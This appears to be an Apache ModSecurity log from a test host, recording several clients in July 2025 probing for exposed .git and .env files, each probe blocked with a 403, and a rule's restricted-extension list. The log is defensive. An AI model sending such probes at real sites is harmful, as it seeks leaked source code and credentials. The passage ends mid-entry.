[Sat Jul 05 13:29:10.938306 2025] [:error] [pid 945018] [client 34.162.174.26:46180] [client 34.162.174.26] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGkMhs-EaHfkH-3DQY4htQAAAAQ"]
[Sat Jul 05 19:23:46.906024 2025] [:error] [pid 945014] [client 34.162.37.152:46030] [client 34.162.37.152] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGlfosq4zXHhTgDcWkZbaAAAAAA"]
[Sat Jul 05 19:23:46.906298 2025] [:error] [pid 945014] [client 34.162.37.152:46030] [client 34.162.37.152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGlfosq4zXHhTgDcWkZbaAAAAAA"]
[Sat Jul 05 19:23:46.906493 2025] [:error] [pid 945014] [client 34.162.37.152:46030] [client 34.162.37.152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGlfosq4zXHhTgDcWkZbaAAAAAA"]
[Sat Jul 05 19:23:47.016605 2025] [:error] [pid 945014] [client 34.162.37.152:46030] [client 34.162.37.152] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGlfo8q4zXHhTgDcWkZbaQAAAAA"]
[Sat Jul 05 19:23:47.016870 2025] [:error] [pid 945014] [client 34.162.37.152:46030] [client 34.162.37.152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGlfo8q4zXHhTgDcWkZbaQAAAAA"]
[Sat Jul 05 19:23:47.017055 2025] [:error] [pid 945014] [client 34.162.37.152:46030] [client 34.162.37.152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGlfo8q4zXHhTgDcWkZbaQAAAAA"]
[Sat Jul 05 23:57:54.188445 2025] [:error] [pid 945017] [client 34.162.236.120:48288] [client 34.162.236.120] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGmf4gYPiW9TpyX8DsazQgAAAAM"]
[Sat Jul 05 23:57:54.188685 2025] [:error] [pid 945017] [client 34.162.236.120:48288] [client 34.162.236.120] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGmf4gYPiW9TpyX8DsazQgAAAAM"]
[Sat Jul 05 23:57:54.188862 2025] [:error] [pid 945017] [client 34.162.236.120:48288] [client 34.162.236.120] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGmf4gYPiW9TpyX8DsazQgAAAAM"]
[Sat Jul 05 23:57:54.299341 2025] [:error] [pid 945017] [client 34.162.236.120:48288] [client 34.162.236.120] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGmf4gYPiW9TpyX8DsazQwAAAAM"]
[Sat Jul 05 23:57:54.299604 2025] [:error] [pid 945017] [client 34.162.236.120:48288] [client 34.162.236.120] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGmf4gYPiW9TpyX8DsazQwAAAAM"]
[Sat Jul 05 23:57:54.299803 2025] [:error] [pid 945017] [client 34.162.236.120:48288] [client 34.162.236.120] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGmf4gYPiW9TpyX8DsazQwAAAAM"]
[Sun Jul 06 06:46:10.471039 2025] [:error] [pid 968037] [client 34.162.151.190:37454] [client 34.162.151.190] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGn_klEyFDQKtD5PcxDSUwAAAAE"]
[Sun Jul 06 06:46:10.471283 2025] [:error] [pid 968037] [client 34.162.151.190:37454] [client 34.162.151.190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGn_klEyFDQKtD5PcxDSUwAAAAE"]
[Sun Jul 06 06:46:10.471455 2025] [:error] [pid 968037] [client 34.162.151.190:37454] [client 34.162.151.190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGn_klEyFDQKtD5PcxDSUwAAAAE"]
[Sun Jul 06 06:46:10.581412 2025] [:error] [pid 968037] [client 34.162.151.190:37454] [client 34.162.151.190] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGn_klEyFDQKtD5PcxDSVAAAAAE"]
[Sun Jul 06 06:46:10.581680 2025] [:error] [pid 968037] [client 34.162.151.190:37454] [client 34.162.151.190] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGn_klEyFDQKtD5PcxDSVAAAAAE"]
[Sun Jul 06 06:46:10.581862 2025] [:error] [pid 968037] [client 34.162.151.190:37454] [client 34.162.151.190] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "aGn_klEyFDQKtD5PcxDSVAAAAAE"]
[Mon Jul 07 14:50:52.719722 2025] [:error] [pid 989741] [client 143.198.191.145:56256] [client 143.198.191.145] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGvCrIZW7uBBeGph-gr29wAAAAU"]
[Mon Jul 07 14:50:52.722273 2025] [:error] [pid 989741] [client 143.198.191.145:56256] [client 143.198.191.145] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGvCrIZW7uBBeGph-gr29wAAAAU"]
[Mon Jul 07 14:50:52.722499 2025] [:error] [pid 989741] [client 143.198.191.145:56256] [client 143.198.191.145] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aGvCrIZW7uBBeGph-gr29wAAAAU"]
[Mon Jul 14 05:56:20.619811 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/logs/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "aHR_5NPJ3sSsQGL_DvN84wAAAAA"]
[Mon Jul 14 05:56:20.621636 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "aHR_5NPJ3sSsQGL_DvN84wAAAAA"]
[Mon Jul 14 05:56:20.621872 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/logs/HEAD"] [unique_id "aHR_5NPJ3sSsQGL_DvN84wAAAAA"]
[Mon Jul 14 05:56:20.695114 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/exclude"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info/exclude"] [unique_id "aHR_5NPJ3sSsQGL_DvN85AAAAAA"]
[Mon Jul 14 05:56:20.695361 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info/exclude"] [unique_id "aHR_5NPJ3sSsQGL_DvN85AAAAAA"]
[Mon Jul 14 05:56:20.695546 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/info/exclude"] [unique_id "aHR_5NPJ3sSsQGL_DvN85AAAAAA"]
[Mon Jul 14 05:56:20.738556 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /doc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/doc/.env"] [unique_id "aHR_5NPJ3sSsQGL_DvN85QAAAAA"]
[Mon Jul 14 05:56:20.738804 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/doc/.env"] [unique_id "aHR_5NPJ3sSsQGL_DvN85QAAAAA"]
[Mon Jul 14 05:56:20.739009 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/doc/.env"] [unique_id "aHR_5NPJ3sSsQGL_DvN85QAAAAA"]
[Mon Jul 14 05:56:20.824304 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.smtp_access"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.smtp_access"] [unique_id "aHR_5NPJ3sSsQGL_DvN85gAAAAA"]
[Mon Jul 14 05:56:20.824548 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.smtp_access"] [unique_id "aHR_5NPJ3sSsQGL_DvN85gAAAAA"]
[Mon Jul 14 05:56:20.824766 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.smtp_access"] [unique_id "aHR_5NPJ3sSsQGL_DvN85gAAAAA"]
[Mon Jul 14 05:56:20.939575 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aHR_5NPJ3sSsQGL_DvN85wAAAAA"]
[Mon Jul 14 05:56:20.939742 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aHR_5NPJ3sSsQGL_DvN85wAAAAA"]
[Mon Jul 14 05:56:20.939975 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aHR_5NPJ3sSsQGL_DvN85wAAAAA"]
[Mon Jul 14 05:56:20.940187 2025] [:error] [pid 1165360] [client 185.177.72.106:48302] [client 185.177.72.106] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aHR_5NPJ3sSsQGL_DvN85wAAAAA"]
[Tue Jul 15 03:26:17.708911 2025] [:error] [pid 1190384] [client 213.232.87.232:46241] [client 213.232.87.232] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname 